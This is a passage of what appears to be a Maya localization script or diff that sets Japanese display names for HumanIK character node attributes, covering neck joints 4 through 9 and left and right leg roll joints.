"Neck4JointOrientx", "首 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4JointOrienty", "首 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4JointOrientz", "首 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimit", "首 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimitx", "首 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimity", "首 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimitz", "首 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimit", "首 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitx", "首 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimity", "首 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitz", "首 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimitEnablex", "首 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimitEnabley", "首 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimitEnablez", "首 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitEnablex", "首 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitEnabley", "首 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitEnablez", "首 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5", "首 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5T", "首 5 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Tx", "首 5 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Ty", "首 5 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Tz", "首 5 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5R", "首 5 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Rx", "首 5 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Ry", "首 5 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Rz", "首 5 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5S", "首 5 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Sx", "首 5 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Sy", "首 5 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Sz", "首 5 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateOrder", "首 5 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateAxis", "首 5 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateAxisx", "首 5 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateAxisy", "首 5 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateAxisz", "首 5 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5JointOrient", "首 5 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5JointOrientx", "首 5 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5JointOrienty", "首 5 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5JointOrientz", "首 5 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimit", "首 5 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitx", "首 5 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimity", "首 5 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitz", "首 5 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimit", "首 5 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitx", "首 5 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimity", "首 5 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitz", "首 5 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitEnablex", "首 5 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitEnabley", "首 5 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitEnablez", "首 5 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitEnablex", "首 5 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitEnabley", "首 5 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitEnablez", "首 5 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6", "首 6" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6T", "首 6 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Tx", "首 6 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Ty", "首 6 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Tz", "首 6 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6R", "首 6 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Rx", "首 6 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Ry", "首 6 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Rz", "首 6 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6S", "首 6 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Sx", "首 6 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Sy", "首 6 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Sz", "首 6 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateOrder", "首 6 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateAxis", "首 6 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateAxisx", "首 6 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateAxisy", "首 6 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateAxisz", "首 6 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6JointOrient", "首 6 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6JointOrientx", "首 6 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6JointOrienty", "首 6 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6JointOrientz", "首 6 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimit", "首 6 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitx", "首 6 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimity", "首 6 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitz", "首 6 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimit", "首 6 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitx", "首 6 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimity", "首 6 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitz", "首 6 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitEnablex", "首 6 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitEnabley", "首 6 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitEnablez", "首 6 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitEnablex", "首 6 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitEnabley", "首 6 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitEnablez", "首 6 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7", "首 7" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7T", "首 7 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Tx", "首 7 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Ty", "首 7 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Tz", "首 7 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7R", "首 7 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Rx", "首 7 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Ry", "首 7 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Rz", "首 7 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7S", "首 7 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Sx", "首 7 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Sy", "首 7 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Sz", "首 7 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateOrder", "首 7 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateAxis", "首 7 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateAxisx", "首 7 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateAxisy", "首 7 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateAxisz", "首 7 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7JointOrient", "首 7 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7JointOrientx", "首 7 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7JointOrienty", "首 7 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7JointOrientz", "首 7 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimit", "首 7 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitx", "首 7 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimity", "首 7 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitz", "首 7 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimit", "首 7 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitx", "首 7 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimity", "首 7 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitz", "首 7 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitEnablex", "首 7 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitEnabley", "首 7 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitEnablez", "首 7 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitEnablex", "首 7 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitEnabley", "首 7 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitEnablez", "首 7 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8", "首 8" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8T", "首 8 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Tx", "首 8 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Ty", "首 8 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Tz", "首 8 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8R", "首 8 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Rx", "首 8 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Ry", "首 8 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Rz", "首 8 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8S", "首 8 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Sx", "首 8 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Sy", "首 8 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Sz", "首 8 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateOrder", "首 8 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateAxis", "首 8 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateAxisx", "首 8 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateAxisy", "首 8 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateAxisz", "首 8 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8JointOrient", "首 8 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8JointOrientx", "首 8 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8JointOrienty", "首 8 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8JointOrientz", "首 8 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimit", "首 8 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitx", "首 8 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimity", "首 8 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitz", "首 8 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimit", "首 8 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitx", "首 8 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimity", "首 8 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitz", "首 8 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitEnablex", "首 8 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitEnabley", "首 8 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitEnablez", "首 8 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitEnablex", "首 8 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitEnabley", "首 8 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitEnablez", "首 8 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9", "首 9" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9T", "首 9 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Tx", "首 9 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Ty", "首 9 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Tz", "首 9 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9R", "首 9 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Rx", "首 9 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Ry", "首 9 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Rz", "首 9 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9S", "首 9 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Sx", "首 9 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Sy", "首 9 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Sz", "首 9 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateOrder", "首 9 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateAxis", "首 9 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateAxisx", "首 9 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateAxisy", "首 9 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateAxisz", "首 9 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9JointOrient", "首 9 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9JointOrientx", "首 9 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9JointOrienty", "首 9 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9JointOrientz", "首 9 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimit", "首 9 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitx", "首 9 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimity", "首 9 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitz", "首 9 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimit", "首 9 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitx", "首 9 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimity", "首 9 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitz", "首 9 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitEnablex", "首 9 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitEnabley", "首 9 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitEnablez", "首 9 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitEnablex", "首 9 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitEnabley", "首 9 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitEnablez", "首 9 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRoll", "左大腿部ロール" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollT", "左大腿部ロール T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollTx", "左大腿部ロール Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollTy", "左大腿部ロール Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollTz", "左大腿部ロール Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollR", "左大腿部ロール R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRx", "左大腿部ロール Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRy", "左大腿部ロール Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRz", "左大腿部ロール Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollS", "左大腿部ロール S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollSx", "左大腿部ロール Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollSy", "左大腿部ロール Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollSz", "左大腿部ロール Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", "左大腿部ロールの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateAxis", "左大腿部ロールの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateAxisx", "左大腿部ロールの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateAxisy", "左大腿部ロールの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateAxisz", "左大腿部ロールの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollJointOrient", "左大腿部ロールのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollJointOrientx", "左大腿部ロールのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollJointOrienty", "左大腿部ロールのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollJointOrientz", "左大腿部ロールのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimit", "左大腿部ロールの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitx", "左大腿部ロールの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimity", "左大腿部ロールの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitz", "左大腿部ロールの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimit", "左大腿部ロールの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitx", "左大腿部ロールの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimity", "左大腿部ロールの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitz", "左大腿部ロールの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitEnablex", "左大腿部ロールの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitEnabley", "左大腿部ロールの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitEnablez", "左大腿部ロールの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitEnablex", "左大腿部ロールの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitEnabley", "左大腿部ロールの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitEnablez", "左大腿部ロールの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRoll", "左脚ロール" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollT", "左脚ロール T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollTx", "左脚ロール Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollTy", "左脚ロール Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollTz", "左脚ロール Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollR", "左脚ロール R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRx", "左脚ロール Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRy", "左脚ロール Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRz", "左脚ロール Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollS", "左脚ロール S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollSx", "左脚ロール Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollSy", "左脚ロール Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollSz", "左脚ロール Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateOrder", "左脚ロールの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateAxis", "左脚ロールの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateAxisx", "左脚ロールの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateAxisy", "左脚ロールの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateAxisz", "左脚ロールの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollJointOrient", "左脚ロールのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollJointOrientx", "左脚ロールのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollJointOrienty", "左脚ロールのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollJointOrientz", "左脚ロールのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimit", "左脚ロールの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitx", "左脚ロールの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimity", "左脚ロールの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitz", "左脚ロールの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimit", "左脚ロールの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitx", "左脚ロールの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimity", "左脚ロールの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitz", "左脚ロールの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitEnablex", "左脚ロールの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitEnabley", "左脚ロールの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitEnablez", "左脚ロールの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitEnablex", "左脚ロールの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitEnabley", "左脚ロールの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitEnablez", "左脚ロールの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRoll", "右大腿部ロール" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollT", "右大腿部ロール T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollTx", "右大腿部ロール Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollTy", "右大腿部ロール Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollTz", "右大腿部ロール Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollR", "右大腿部ロール R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRx", "右大腿部ロール Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRy", "右大腿部ロール Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRz", "右大腿部ロール Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollS", "右大腿部ロール S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollSx", "右大腿部ロール Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollSy", "右大腿部ロール Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollSz", "右大腿部ロール Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", "右大腿部ロールの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateAxis", "右大腿部ロールの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateAxisx", "右大腿部ロールの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateAxisy", "右大腿部ロールの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateAxisz", "右大腿部ロールの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollJointOrient", "右大腿部ロールのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollJointOrientx", "右大腿部ロールのジョイント方向x" ); 